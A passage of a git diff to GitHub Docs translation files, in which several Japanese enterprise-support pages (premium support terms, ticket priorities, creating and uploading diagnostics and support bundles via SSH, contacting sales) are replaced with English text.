data variables.product.support_ticket_priority_low %} の 4 つから選択できます。 +When you contact {% data variables.contact.premium_support %}, you can choose one of four priorities for the ticket: {% data variables.product.support_ticket_priority_urgent %}, {% data variables.product.support_ticket_priority_high %}, {% data variables.product.support_ticket_priority_normal %}, or {% data variables.product.support_ticket_priority_low %}. {% data reusables.support.github-can-modify-ticket-priority %} {% data reusables.support.ghes-priorities %} -## サポートチケットの解決とクローズ +## Resolving and closing support tickets {% data reusables.support.premium-resolving-and-closing-tickets %} diff --git a/translations/ja-JP/content/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise.md b/translations/ja-JP/content/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise.md index 7e911d5d88..dee230eb2b 100644 --- a/translations/ja-JP/content/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise.md +++ b/translations/ja-JP/content/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise.md @@ -1,6 +1,6 @@ --- -title: GitHub EnterpriseのPremium Supportについて -intro: '{% data variables.contact.premium_support %} は、{% data variables.product.prodname_enterprise %} のお客様のための有料の補足的なサポートです。' +title: About GitHub Premium Support for GitHub Enterprise +intro: '{% data variables.contact.premium_support %} is a paid, supplemental support offering for {% data variables.product.prodname_enterprise %} customers.' redirect_from: - /enterprise/admin/enterprise-support/about-github-premium-support-for-github-enterprise - /admin/enterprise-support/about-github-premium-support-for-github-enterprise @@ -12,28 +12,27 @@ topics: - Support shortTitle: Premium Support for Enterprise --- - {% note %} -**ノート:** +**Notes:** -- {% data variables.contact.premium_support %}の規約は2019年7月に発効しています。この規約は、予告なく変更されることがあります。 +- The terms of {% data variables.contact.premium_support %} are subject to change without notice and are effective as of July 2019. - {% data reusables.support.data-protection-and-privacy %} -- この記事に記載されているのは、{% data variables.product.prodname_ghe_server %}および{% data variables.product.prodname_ghe_cloud %} を一緒に購入した{% data variables.product.prodname_enterprise %}のお客様向け{% data variables.contact.premium_support %}規約です。 いずれかの製品を別々に購入したお客様の場合、{% data variables.contact.premium_support %}の規約は異なる場合があります。 詳しい情報については、「[{% data variables.product.prodname_ghe_server %}の{% data variables.contact.premium_support %}について](/enterprise/{{ currentVersion }}/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server)」および「{% data variables.product.prodname_ghe_cloud %}の{% data variables.contact.premium_support %}について」を参照してください。 +- This article contains the terms of {% data variables.contact.premium_support %} for {% data variables.product.prodname_enterprise %} customers who purchase {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %} together. The terms of {% data variables.contact.premium_support %} may be different for customers who purchase either product separately. For more information, see "[About {% data variables.contact.premium_support %} for {% data variables.product.prodname_ghe_server %}](/enterprise/{{ currentVersion }}/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server)" and "About {% data variables.contact.premium_support %} for {% data variables.product.prodname_ghe_cloud %}." {% endnote %} -## {% data variables.contact.premium_support %} について +## About {% data variables.contact.premium_support %} -{% data variables.contact.enterprise_support %} のすべての利点に加えて、{% data variables.contact.premium_support %} は以下を提供します: - - GitHub Enterprise サポートページを通じた文面 (英語) での 24 時間 365 日のサポート - - 24 時間 365 日の英語での電話サポート - - 初回応答時間が保証されるサービスレベルアグリーメント (SLA) - - プレミアムコンテンツへのアクセス - - 定期的なヘルスチェック - - 管理されたサービス +In addition to all of the benefits of {% data variables.contact.enterprise_support %}, {% data variables.contact.premium_support %} offers: + - Written support, in English, through our support portal 24 hours per day, 7 days per week + - Phone support, in English, 24 hours per day, 7 days per week + - A Service Level Agreement (SLA) with guaranteed initial response times + - Access to premium content + - Scheduled health checks + - Managed services {% data reusables.support.about-premium-plans %} @@ -43,32 +42,32 @@ shortTitle: Premium Support for Enterprise {% data reusables.support.contacting-premium-support %} -## 営業時間 +## Hours of operation -{% data variables.contact.premium_support %} は、24 時間 365 日利用できます。 +{% data variables.contact.premium_support %} is available 24 hours a day, 7 days per week. {% data reusables.support.service-level-agreement-response-times %} {% data reusables.enterprise_enterprise_support.installing-releases %} -適用されるライセンスアグリーメントの Supported Releasesセクションに従い、{% data variables.contact.premium_support %} への発注から 90 日以内に {% data variables.product.prodname_ghe_server %} の最小限のサポートされるバージョンをインストールしなければなりません。 +You must install the minimum supported version of {% data variables.product.prodname_ghe_server %} pursuant to the Supported Releases section of your applicable license agreement within 90 days of placing an order for {% data variables.contact.premium_support %}. -## サポートチケットへの優先度の割り当て +## Assigning a priority to a support ticket -{% data variables.contact.premium_support %} へのお問い合わせ時に、チケットの優先度を {% data variables.product.support_ticket_priority_urgent %}、{% data variables.product.support_ticket_priority_high %}、{% data variables.product.support_ticket_priority_normal %}、または {% data variables.product.support_ticket_priority_low %} の 4 つから選択できます。 +When you contact {% data variables.contact.premium_support %}, you can choose one of four priorities for the ticket: {% data variables.product.support_ticket_priority_urgent %}, {% data variables.product.support_ticket_priority_high %}, {% data variables.product.support_ticket_priority_normal %}, or {% data variables.product.support_ticket_priority_low %}. -- [{% data variables.product.prodname_ghe_cloud %} のチケット優先度](#ticket-priorities-for-github-enterprise-cloud) -- [{% data variables.product.prodname_ghe_server %} のチケット優先度](#ticket-priorities-for-github-enterprise-server) +- [Ticket priorities for {% data variables.product.prodname_ghe_cloud %}](#ticket-priorities-for-github-enterprise-cloud) +- [Ticket priorities for {% data variables.product.prodname_ghe_server %}](#ticket-priorities-for-github-enterprise-server) -### {% data variables.product.prodname_ghe_cloud %} のチケット優先度 +### Ticket priorities for {% data variables.product.prodname_ghe_cloud %} {% data reusables.support.ghec-premium-priorities %} -### {% data variables.product.prodname_ghe_server %} のチケット優先度 +### Ticket priorities for {% data variables.product.prodname_ghe_server %} {% data reusables.support.ghes-priorities %} -## サポートチケットの解決とクローズ +## Resolving and closing support tickets {% data reusables.support.premium-resolving-and-closing-tickets %} diff --git a/translations/ja-JP/content/admin/enterprise-support/overview/about-support-for-advanced-security.md b/translations/ja-JP/content/admin/enterprise-support/overview/about-support-for-advanced-security.md index adcc4bb5fa..5260f23fe3 100644 --- a/translations/ja-JP/content/admin/enterprise-support/overview/about-support-for-advanced-security.md +++ b/translations/ja-JP/content/admin/enterprise-support/overview/about-support-for-advanced-security.md @@ -1,6 +1,6 @@ --- -title: Advanced Security のサポートについて -intro: '{% data variables.contact.enterprise_support %} は、{% data variables.product.prodname_advanced_security %} を使う際に生じた問題のトラブルシューティングを支援します。' +title: About support for Advanced Security +intro: '{% data variables.contact.enterprise_support %} can help you troubleshoot issues you run into while using {% data variables.product.prodname_advanced_security %}.' redirect_from: - /enterprise/admin/enterprise-support/about-support-for-advanced-security - /admin/enterprise-support/about-support-for-advanced-security @@ -12,66 +12,65 @@ topics: - Support shortTitle: Support for Advanced Security --- - {% note %} -**注釈**: {% data reusables.support.data-protection-and-privacy %} +**Note**: {% data reusables.support.data-protection-and-privacy %} {% endnote %} -## {% data variables.product.prodname_advanced_security %} のサポートについて +## About support for {% data variables.product.prodname_advanced_security %} -{% data variables.product.prodname_advanced_security %} には、英語のメールによる {% data variables.contact.enterprise_support %} が含まれています。 +{% data variables.product.prodname_advanced_security %} includes {% data variables.contact.enterprise_support %} in English, by email. -## サポートのスコープ +## Scope of support -サポートリクエストが弊社のチームが支援できるスコープ外だった場合、{% data variables.contact.enterprise_support %}外で問題を解決するための次のステップをおすすめすることがあります。 サポートリクエストが主に以下の内容に関するものであれば、おそらく{% data variables.contact.enterprise_support %}のスコープ外になります。 -- サードパーティとのインテグレーション -- ハードウェアのセットアップ -- 外部システムの設定 -- オープンソースのプロジェクト -- プロジェクトやリポジトリの構築 -- クラスタ設計の自己確認 -- {% data variables.product.prodname_codeql %}の新しいクエリの作成あるいはデバッグ +If your support request is outside of the scope of what our team can help you with, we may recommend next steps to resolve your issue outside of {% data variables.contact.enterprise_support %}. Your support request is possibly out of {% data variables.contact.enterprise_support %}'s scope if it's primarily about: +- Third party integrations +- Hardware setup +- Configuration of external systems +- Open source projects +- Building projects or repositories +- LGTM cluster design +- Writing or debugging new queries for {% data variables.product.prodname_codeql %} -問題がスコープ外か判断できない場合は、チケットをオープンしてもらえれば先へ進むための最善の方法を定めるための支援をいたします。 +If you're uncertain if the issue is out of scope, open a ticket and we're happy to help you determine the best way to proceed. -## {% data variables.contact.enterprise_support %} への連絡 +## Contacting {% data variables.contact.enterprise_support %} {% data reusables.support.zendesk-old-tickets %} -以下の質問について、{% data variables.contact.contact_enterprise_portal %} を通じて {% data variables.contact.enterprise_support %} に連絡できます。 -- {% data variables.product.prodname_advanced_security %} のインストールと利用 -- サポート対象となっているエラーの原因の特定および検証 +You can contact {% data variables.contact.enterprise_support %} through the {% data variables.contact.contact_enterprise_portal %} for help with: +- Installing and using {% data variables.product.prodname_advanced_security %} +- Identifying and verifying the causes of supported errors -## 営業時間 +## Hours of operation -{% data variables.product.prodname_advanced_security %} のサポートは、英語により、週末と米国の休日をのぞく週 5 日 24 時間提供しています。 （アメリカの祝日は除く） 返信までの標準的な時間は 1 営業日です。 +We offer support for {% data variables.product.prodname_advanced_security %} in English 24 hours per day, 5 days per week, excluding weekends and national U.S. holidays. The standard response time is 1 business day. -## 休日のスケジュール +## Holiday schedule -{% data variables.contact.enterprise_support %} は、以下の米国の祝日を休日としています。 （アメリカの祝日は除く） +{% data variables.contact.enterprise_support %} observes these U.S. holidays. {% data reusables.enterprise_enterprise_support.support-holiday-availability %} -## {% data variables.product.prodname_advanced_security %} のアップデートのインストール +## Installing {% data variables.product.prodname_advanced_security %} updates -{% data variables.product.prodname_advanced_security %} インスタンスの安定性を確保するには、最新のリリースが公開された際にそれをインストールして実装する必要があります。 これにより、最新の機能、修正、拡張とともに、機能のアップデート、コードの修正、パッチ、その他 {% data variables.product.prodname_advanced_security %} に対する一般的なアップデートや修正を確実に入手できます。 +To ensure that your {% data variables.product.prodname_advanced_security %} instance is stable, you must install and implement new releases when they are made available. This ensures that you have the latest features, modifications, and enhancements as well as any updates to features, code corrections, patches, or other general updates and fixes to {% data variables.product.prodname_advanced_security %}. -## サポートチケットへの優先度の割り当て +## Assigning a priority to a support ticket -{% data variables.product.prodname_advanced_security %} のサポートについて {% data variables.contact.enterprise_support %} に問い合わせる場合、チケットの 3 つの優先度（{% data variables.product.support_ticket_priority_high %}、{% data variables.product.support_ticket_priority_normal %}、または {% data variables.product.support_ticket_priority_low %}）のいずれかを選択できます。 +When you contact {% data variables.contact.enterprise_support %} for help with {% data variables.product.prodname_advanced_security %}, you can choose one of three priorities for the ticket: {% data variables.product.support_ticket_priority_high %}, {% data variables.product.support_ticket_priority_normal %}, or {% data variables.product.support_ticket_priority_low %}. {% data reusables.support.github-can-modify-ticket-priority %} -| 優先度 | 説明 | -|:-------------------------------------------------------------:| --------------------------------------------------------------------------------------------------------------------------- | -| {% data variables.product.support_ticket_priority_high %} | {% data variables.product.prodname_advanced_security %} は、機能しない、停止している、またはエンドユーザがソフトウェアの利用を合理的に継続できないほどの影響があり、回避策がないものです。 | -| {% data variables.product.support_ticket_priority_normal %} | {% data variables.product.prodname_advanced_security %}の機能が不安定であり、エンドユーザの利用や生産性に支障があります。 | -| {% data variables.product.support_ticket_priority_low %} | {% data variables.product.prodname_advanced_security %}は安定して動作していますが、ドキュメントの更新、見かけ上の欠陥、拡張といったソフトウェア上の軽微な変更をエンドユーザが求めています。 | +| Priority | Description | +| :---: | --- | +| {% data variables.product.support_ticket_priority_high %} | {% data variables.product.prodname_advanced_security %} is not functioning or is stopped or severely impacted such that the end user cannot reasonably continue use of the software and no workaround is available. | +| {% data variables.product.support_ticket_priority_normal %} | {% data variables.product.prodname_advanced_security %} is functioning inconsistently, causing impaired end user usage and productivity. | +| {% data variables.product.support_ticket_priority_low %} | {% data variables.product.prodname_advanced_security %} is functioning consistently, but the end user requests minor changes in the software, such as documentation updates, cosmetic defects, or enhancements.| -## サポートチケットの解決とクローズ +## Resolving and closing support tickets {% data reusables.support.enterprise-resolving-and-closing-tickets %} diff --git a/translations/ja-JP/content/admin/enterprise-support/receiving-help-from-github-support/providing-data-to-github-support.md b/translations/ja-JP/content/admin/enterprise-support/receiving-help-from-github-support/providing-data-to-github-support.md index 35a47adc23..2e6d49cb05 100644 --- a/translations/ja-JP/content/admin/enterprise-support/receiving-help-from-github-support/providing-data-to-github-support.md +++ b/translations/ja-JP/content/admin/enterprise-support/receiving-help-from-github-support/providing-data-to-github-support.md @@ -1,6 +1,6 @@ --- -title: GitHub Support へのデータ提供 -intro: '{% data variables.contact.github_support %} は顧客の環境にはアクセスできないので、追加情報をご提供いただかなければなりません。' +title: Providing data to GitHub Support +intro: 'Since {% data variables.contact.github_support %} doesn''t have access to your environment, we require some additional information from you.' redirect_from: - /enterprise/admin/guides/installation/troubleshooting/ - /enterprise/admin/articles/support-bundles/ @@ -15,143 +15,146 @@ topics: - Support shortTitle: Provide data to Support --- +## Creating and sharing diagnostic files -## Diagnosticファイルの作成と共有 +Diagnostics are an overview of a {% data variables.product.prodname_ghe_server %} instance's settings and environment that contains: -Diagnostics は {% data variables.product.prodname_ghe_server %} インスタンスの設定と環境の概要であり、以下の内容が含まれます: +- Client license information, including company name, expiration date, and number of user licenses +- Version numbers and SHAs +- VM architecture +- Host name, private mode, SSL settings +- Load and process listings +- Network settings +- Authentication method and details +- Number of repositories, users, and other installation data -- 会社名、有効期限、ユーザライセンス数を含む顧客情報 -- バージョン番号及びSHA -- VMアーキテクチャ -- ホスト名、プライベートモード、SSLの設定 -- 負荷及びプロセスのリスト -- ネットワーク設定 -- 認証方式と詳細 -- リポジトリ数、ユーザ数、その他のインストール関連データ +You can download the diagnostics for your instance from the {% data variables.enterprise.management_console %} or by running the `ghe-diagnostics` command-line utility. -インスタンスのDiagnosticsは{% data variables.enterprise.management_console %}から、あるいは`ghe-diagnostics`コマンドラインユーティリティを実行することでダウンロードできます。 +### Creating a diagnostic file from the {% data variables.enterprise.management_console %} -### {% data variables.enterprise.management_console %}でのDiagnosticsファイルの作成 - -SSHキーがすぐに利用できない場合、この方法が使えます。 +You can use this method if you don't have your SSH key readily available. {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.type-management-console-password %} {% data reusables.enterprise_management_console.support-link %} -5. **Download diagnostics info（Diagnostic情報のダウンロード）**をクリックしてください。 +5. Click **Download diagnostics info**. -### SSHを使ったDiagnosticsファイルの作成 +### Creating a diagnostic file using SSH -この方法は、{% data variables.enterprise.management_console %} にサインインせずに利用できます。 +You can use this method without signing into the {% data variables.enterprise.management_console %}. -[ghe-diagnostics](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-diagnostics) コマンドラインユーティリティを使ってインスタンスの Diagnostics を取得してください。 +Use the [ghe-diagnostics](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-diagnostics) command-line utility to retrieve the diagnostics for your instance. ```shell $ ssh -p122 admin@hostname -- 'ghe-diagnostics' > diagnostics.txt ``` -## Support Bundleの作成と共有 +## Creating and sharing support bundles -サポートリクエストをサブミットした後、弊社のチームとの Support Bundle の共有をお願いすることがあります。 Support Bundle は gzip 圧縮された tar アーカイブで、インスタンスの Diagnostics と以下のような重要なログが含まれます: +After you submit your support request, we may ask you to share a support bundle with our team. The support bundle is a gzip-compressed tar archive that includes diagnostics and important logs from your instance, such as: -- 認証のエラーのトラブルシューティングやLDAP、CAS、SAMLの設定に役立つ認証関連のログ -- {% data variables.enterprise.management_console %}のログ -- `github-logs/exceptions.log`：サイトで生じた500エラーに関する情報 -- `github-logs/audit.log`: {% data variables.product.prodname_ghe_server %} 監査ログ -- `babeld-logs/babeld.log`：Gitプロキシのログ -- `system-logs/haproxy.log`：HAProxyのログ -- `elasticsearch-logs/github-enterprise.log`：Elasticsearchのログ -- `configuration-logs/ghe-config.log`: {% data variables.product.prodname_ghe_server %} 設定ログ -- `collectd/logs/collectd.log`：Collectdのログ -- `mail-logs/mail.log`：SMTPのメール配送ログ +- Authentication-related logs that may be helpful when troubleshooting authentication errors, or configuring LDAP, CAS, or SAML +- {% data variables.enterprise.management_console %} log +- `github-logs/exceptions.log`: Information about 500 errors encountered on the site +- `github-logs/audit.log`: {% data variables.product.prodname_ghe_server %} audit logs +- `babeld-logs/babeld.log`: Git proxy logs +- `system-logs/haproxy.log`: HAProxy logs +- `elasticsearch-logs/github-enterprise.log`: Elasticsearch logs +- `configuration-logs/ghe-config.log`: {% data variables.product.prodname_ghe_server %} configuration logs +- `collectd/logs/collectd.log`: Collectd logs +- `mail-logs/mail.log`: SMTP email delivery logs -詳細は「[監査ログ](/enterprise/{{ currentVersion }}/admin/guides/installation/audit-logging)」を参照してください。 +For more information, see "[Audit logging](/enterprise/{{ currentVersion }}/admin/guides/installation/audit-logging)." -Support Bundle には過去 2 日分のログが含まれます。 過去 7 日分のログを取得したい場合には、拡張 Support Bundle をダウンロードできます。 詳細は「[拡張 Support Bundle の作成と共有](#creating-and-sharing-extended-support-bundles)」を参照してください。 +Support bundles include logs from the past two days. To get logs from the past seven days, you can download an extended support bundle. For more information, see "[Creating and sharing extended support bundles](#creating-and-sharing-extended-support-bundles)." {% tip %} -**参考:** {% data variables.contact.github_support %} に連絡を取ると、チケットの参照リンクを含む確認のメールが送られてきます。 {% data variables.contact.github_support %} が Support Bundle のアップロードをお願いした場合、Support Bundle のアップロードにこのチケット参照リンクを利用できます。 +**Tip:** When you contact {% data variables.contact.github_support %}, you'll be sent a confirmation email that will contain a ticket reference link. If {% data variables.contact.github_support %} asks you to upload a support bundle, you can use the ticket reference link to upload the support bundle. {% endtip %} -### {% data variables.enterprise.management_console %}でのSupport Bundleの作成 +### Creating a support bundle from the {% data variables.enterprise.management_console %} -Web べースの {% data variables.enterprise.management_console %} と外部のインターネットにアクセスできる環境があれば、以下の手順で Support Bundle を作成して共有できます。 +You can use these steps to create and share a support bundle if you can access the web-based {% data variables.enterprise.management_console %} and have outbound internet access. {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.type-management-console-password %} {% data reusables.enterprise_management_console.support-link %} -5. [**Download support bundle**] (Support Bundle のダウンロード) をクリックします。 +5. Click **Download support bundle**. {% data reusables.enterprise_enterprise_support.sign-in-to-support %} {% data reusables.enterprise_enterprise_support.upload-support-bundle %} -### SSHを使ったSupport Bundleの作成 +### Creating a support bundle using SSH -{% data variables.product.product_location %} への SSH アクセスがあり、アウトバウンドインターネットアクセスがある場合は、これらのステップで拡張 Support Bundle を作成および共有できます。 +You can use these steps to create and share a support bundle if you have SSH access to {% data variables.product.product_location %} and have outbound internet access. {% data reusables.enterprise_enterprise_support.use_ghe_cluster_support_bundle %} -1. SSH経由でSupport Bundleをダウンロードします。 +1. Download the support bundle via SSH: ```shell $ ssh -p 122 admin@hostname -- 'ghe-support-bundle -o' > support-bundle.tgz ``` - `ghe-support-bundle` コマンドに関する詳しい情報については、「[コマンドラインユーティリティ](/enterprise/admin/guides/installation/command-line-utilities#ghe-support-bundle)」を参照してください。 + For more information about the `ghe-support-bundle` command, see "[Command-line utilities](/enterprise/admin/guides/installation/command-line-utilities#ghe-support-bundle)". {% data reusables.enterprise_enterprise_support.sign-in-to-support %} {% data reusables.enterprise_enterprise_support.upload-support-bundle %} -### Enterprise アカウントを使用して Support Bundle をアップロードする +### Uploading a support bundle using your enterprise account {% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} {% data reusables.enterprise-accounts.settings-tab %} -3. 左のサイドバーで、** Enterprise licensing（Enterpriseライセンス）**をクリックしてください。 ![[Enterprise account settings] サイトバーの "Enterprise licensing"](/assets/images/help/enterprises/enterprise-licensing-tab.png) -4. [{% data variables.product.prodname_enterprise %} Help] にある [**Upload a support bundle**] をクリックします。 ![Support Bundle リンクをアップロードする](/assets/images/enterprise/support/upload-support-bundle.png) -5. [Select an enterprise account] で、ドロップダウンメニューから Support Bundle に関連付けられているアカウントを選択します。 ![Support Bundle の Enterprise アカウントを選択する](/assets/images/enterprise/support/support-bundle-account.png) -6. [Upload a support bundle for {% data variables.contact.enterprise_support %}] で Support Bundle を選択するには、[**Choose file**] をクリックするか、Support Bundle ファイルを [**Choose file**] にドラッグします。 ![Support Bundle ファイルをアップロードする](/assets/images/enterprise/support/choose-support-bundle-file.png) -7. [**Upload**] をクリックします。 +3. In the left sidebar, click **Enterprise licensing**. + !["Enterprise licensing" tab in the enterprise account settings sidebar](/assets/images/help/enterprises/enterprise-licensing-tab.png) +4. Under "{% data variables.product.prodname_enterprise %} Help", click **Upload a support bundle**. + ![Upload a support bundle link](/assets/images/enterprise/support/upload-support-bundle.png) +5. Under "Select an enterprise account", select the support bundle's associated account from the drop-down menu. + ![Choose the support bundle's enterprise account](/assets/images/enterprise/support/support-bundle-account.png) +6. Under "Upload a support bundle for {% data variables.contact.enterprise_support %}", to select your support bundle, click **Choose file**, or drag your support bundle file onto **Choose file**. + ![Upload support bundle file](/assets/images/enterprise/support/choose-support-bundle-file.png) +7. Click **Upload**. -### SSHを使ったSupport Bundleの直接アップロード +### Uploading a support bundle directly using SSH -以下の状況であれば、Support Bundleを当社のサーバに直接アップロードできます。 -- {% data variables.product.product_location %} への SSH アクセス権がある。 +You can directly upload a support bundle to our server if: +- You have SSH access to {% data variables.product.product_location %}. - Outbound HTTPS connections over TCP port 443 are allowed from {% data variables.product.product_location %} to _enterprise-bundles.github.com_ and _esbtoolsproduction.blob.core.windows.net_. -1. バンドルを当社のSupport Bundleサーバにアップロードします。 +1. Upload the bundle to our support bundle server: ```shell $ ssh -p122 admin@hostname -- 'ghe-support-bundle -u' ``` -## 拡張Support Bundleの作成と提供 +## Creating and sharing extended support bundles -Support Bundleには過去2日分のログが含まれますが、_拡張_Support Bundleには過去7日分のログが含まれます。 {% data variables.contact.github_support %} が調査しているイベントが 2 日以上前に発生した場合は、拡張 Support Bundle の共有をお願いする場合があります。 拡張 Support Bundle をダウンロードするには、SSH アクセスが必要です。{% data variables.enterprise.management_console %} から拡張 Support Bundle をダウンロードすることはできません。 +Support bundles include logs from the past two days, while _extended_ support bundles include logs from the past seven days. If the events that {% data variables.contact.github_support %} is investigating occurred more than two days ago, we may ask you to share an extended support bundle. You will need SSH access to download an extended bundle - you cannot download an extended bundle from the {% data variables.enterprise.management_console %}. -バンドルが大きくなりすぎるのを避けるために、バンドルにはローテーションや圧縮されていないログだけが含まれます。 {% data variables.product.prodname_ghe_server %} でのログのローテーションは、それぞれのログがどの程度の大きさになるかの予想に応じて、ログごとに様々な頻度 (日次あるいは週次) で行われます。 +To prevent bundles from becoming too large, bundles only contain logs that haven't been rotated and compressed. Log rotation on {% data variables.product.prodname_ghe_server %} happens at various frequencies (daily or weekly) for different log files, depending on how large we expect the logs to be. -### SSHを使った拡張Support Bundleの作成 +### Creating an extended support bundle using SSH -{% data variables.product.product_location %} への SSH アクセスがあり、アウトバウンドインターネットアクセスがある場合は、これらのステップで拡張 Support Bundle を作成および共有できます。 +You can use these steps to create and share an extended support bundle if you have SSH access to {% data variables.product.product_location %} and you have outbound internet access. -1. `ghe-support-bundle`コマンドに`-x`フラグを追加して、SSH経由で拡張Support Bundleをダウンロードしてください。 +1. Download the extended support bundle via SSH by adding the `-x` flag to the `ghe-support-bundle` command: ```shell $ ssh -p 122 admin@hostname -- 'ghe-support-bundle -o -x' > support-bundle.tgz ``` {% data reusables.enterprise_enterprise_support.sign-in-to-support %} {% data reusables.enterprise_enterprise_support.upload-support-bundle %} -### SSHを使った拡張Support Bundleの直接アップロード +### Uploading an extended support bundle directly using SSH -以下の状況であれば、Support Bundleを当社のサーバに直接アップロードできます。 -- {% data variables.product.product_location %} への SSH アクセス権がある。 +You can directly upload a support bundle to our server if: +- You have SSH access to {% data variables.product.product_location %}. - Outbound HTTPS connections over TCP port 443 are allowed from {% data variables.product.product_location %} to _enterprise-bundles.github.com_ and _esbtoolsproduction.blob.core.windows.net_. -1. バンドルを当社のSupport Bundleサーバにアップロードします。 +1. Upload the bundle to our support bundle server: ```shell $ ssh -p122 admin@hostname -- 'ghe-support-bundle -u -x' ``` -## 参考リンク +## Further reading -- [{% data variables.contact.enterprise_support %} について](/enterprise/admin/guides/enterprise-support/about-github-enterprise-support) -- [{% data variables.product.prodname_ghe_server %}の{% data variables.contact.premium_support %}について](/enterprise/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server) +- "[About {% data variables.contact.enterprise_support %}](/enterprise/admin/guides/enterprise-support/about-github-enterprise-support)" +- "[About {% data variables.contact.premium_support %} for {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server)." diff --git a/translations/ja-JP/content/admin/enterprise-support/receiving-help-from-github-support/reaching-github-support.md b/translations/ja-JP/content/admin/enterprise-support/receiving-help-from-github-support/reaching-github-support.md index 45b24247d9..70b1836838 100644 --- a/translations/ja-JP/content/admin/enterprise-support/receiving-help-from-github-support/reaching-github-support.md +++ b/translations/ja-JP/content/admin/enterprise-support/receiving-help-from-github-support/reaching-github-support.md @@ -1,6 +1,6 @@ --- -title: GitHub Support への連絡 -intro: '{% ifversion ghes %}{% data variables.product.prodname_ghe_server %}{% data variables.enterprise.management_console %} または {% endif %}GitHub Enterprise サポートページから {% data variables.contact.enterprise_support %} に連絡してください。' +title: Reaching GitHub Support +intro: 'Contact {% data variables.contact.enterprise_support %} using the {% ifversion ghes %}{% data variables.product.prodname_ghe_server %} {% data variables.enterprise.management_console %} or{% endif %} the support portal.' redirect_from: - /enterprise/admin/guides/enterprise-support/reaching-github-enterprise-support/ - /enterprise/admin/enterprise-support/reaching-github-support @@ -12,48 +12,47 @@ topics: - Enterprise - Support --- +## Using automated ticketing systems -## 自動チケットシステムを使用する +Though we'll do our best to respond to automated support requests, we typically need more information than an automated ticketing system can give us to solve your issue. Whenever possible, please initiate support requests from a person or machine that {% data variables.contact.enterprise_support %} can interact with. For more information, see "[Preparing to submit a ticket](/enterprise/admin/guides/enterprise-support/preparing-to-submit-a-ticket)." -自動化されたサポートリクエストへの対応には最善を尽くしますが、問題解決のためには、自動化されたチケットシステムが提供する以上の情報が、通常必要になります。 可能な場合は、{% data variables.contact.enterprise_support %} がやりとりできる方もしくはマシンからサポートリクエストを出してください。 詳しい情報については[チケットのサブミットの準備](/enterprise/admin/guides/enterprise-support/preparing-to-submit-a-ticket)を参照してください。 - -## {% data variables.contact.enterprise_support %} への連絡 +## Contacting {% data variables.contact.enterprise_support %} {% data reusables.support.zendesk-old-tickets %} -{% data variables.contact.enterprise_support %} のお客様は、{% ifversion ghes %}{% data variables.product.prodname_ghe_server %}{% data variables.enterprise.management_console %} または {% data variables.contact.contact_enterprise_portal %}{% elsif ghae %} the {% data variables.contact.contact_ae_portal %}サポートチケットをオープンできます{% endif %}。 詳しい情報については[チケットのサブミット](/enterprise/admin/guides/enterprise-support/submitting-a-ticket)を参照してください。 +{% data variables.contact.enterprise_support %} customers can open a support ticket using the {% ifversion ghes %}{% data variables.product.prodname_ghe_server %} {% data variables.enterprise.management_console %} or the {% data variables.contact.contact_enterprise_portal %}{% elsif ghae %} the {% data variables.contact.contact_ae_portal %}{% endif %}. For more information, see "[Submitting a ticket](/enterprise/admin/guides/enterprise-support/submitting-a-ticket)." {% ifversion ghes %} -## {% data variables.contact.premium_support %} への連絡 +## Contacting {% data variables.contact.premium_support %} -{% data variables.contact.enterprise_support %} のお客様は、{% data variables.product.prodname_ghe_server %} {% data variables.enterprise.management_console %} あるいは {% data variables.contact.contact_enterprise_portal %} を使ってサポートチケットをオープンできます。 その優先度を {% data variables.product.support_ticket_priority_urgent %}、{% data variables.product.support_ticket_priority_high %}、{% data variables.product.support_ticket_priority_normal %}、または {% data variables.product.support_ticket_priority_low %} としてマークします。 詳しい情報については、「[サポートチケットに優先度を割り当てる](/enterprise/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server#assigning-a-priority-to-a-support-ticket)」および「[チケットをサブミットする](/enterprise/admin/guides/enterprise-support/submitting-a-ticket)」を参照してください。 +{% data variables.contact.enterprise_support %} customers can open a support ticket using the {% data variables.product.prodname_ghe_server %} {% data variables.enterprise.management_console %} or the {% data variables.contact.contact_enterprise_portal %}. Mark its priority as {% data variables.product.support_ticket_priority_urgent %}, {% data variables.product.support_ticket_priority_high %}, {% data variables.product.support_ticket_priority_normal %}, or {% data variables.product.support_ticket_priority_low %}. For more information, see "[Assigning a priority to a support ticket](/enterprise/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server#assigning-a-priority-to-a-support-ticket)" and "[Submitting a ticket](/enterprise/admin/guides/enterprise-support/submitting-a-ticket)." -### 過去のサポートチケットの閲覧 +### Viewing past support tickets -{% data variables.contact.enterprise_portal %} を使って過去のサポートチケットを見ることができます。 +You can use the {% data variables.contact.enterprise_portal %} to view past support tickets. -1. {% data variables.contact.contact_enterprise_portal %} に移動します。 -2. [**My tickets**] をクリックします。 +1. Navigate to the {% data variables.contact.contact_enterprise_portal %}. +2. Click **My tickets**. {% endif %} -## 営業チームへの連絡 +## Contacting sales -価格、ライセンス、更新、見積もり、支払い、およびその他の関連するご質問については、{% data variables.contact.contact_enterprise_sales %} にお問い合わせいただくか、[+1 (877) 448-4820](tel:+1-877-448-4820) にお電話してください。 +For pricing, licensing, renewals, quotes, payments, and other related questions, contact {% data variables.contact.contact_enterprise_sales %} or call [+1 (877) 448-4820](tel:+1-877-448-4820). {% ifversion ghes %} -## トレーニングチームへの連絡 +## Contacting training -カスタマイズされたトレーニングを含むトレーニングの選択肢に関する詳しい情報については[{% data variables.product.company_short %}のトレーニングサイト](https://services.github.com/)を参照してください。 +To learn more about training options, including customized trainings, see [{% data variables.product.company_short %}'s training site](https://services.github.com/). {% note %} 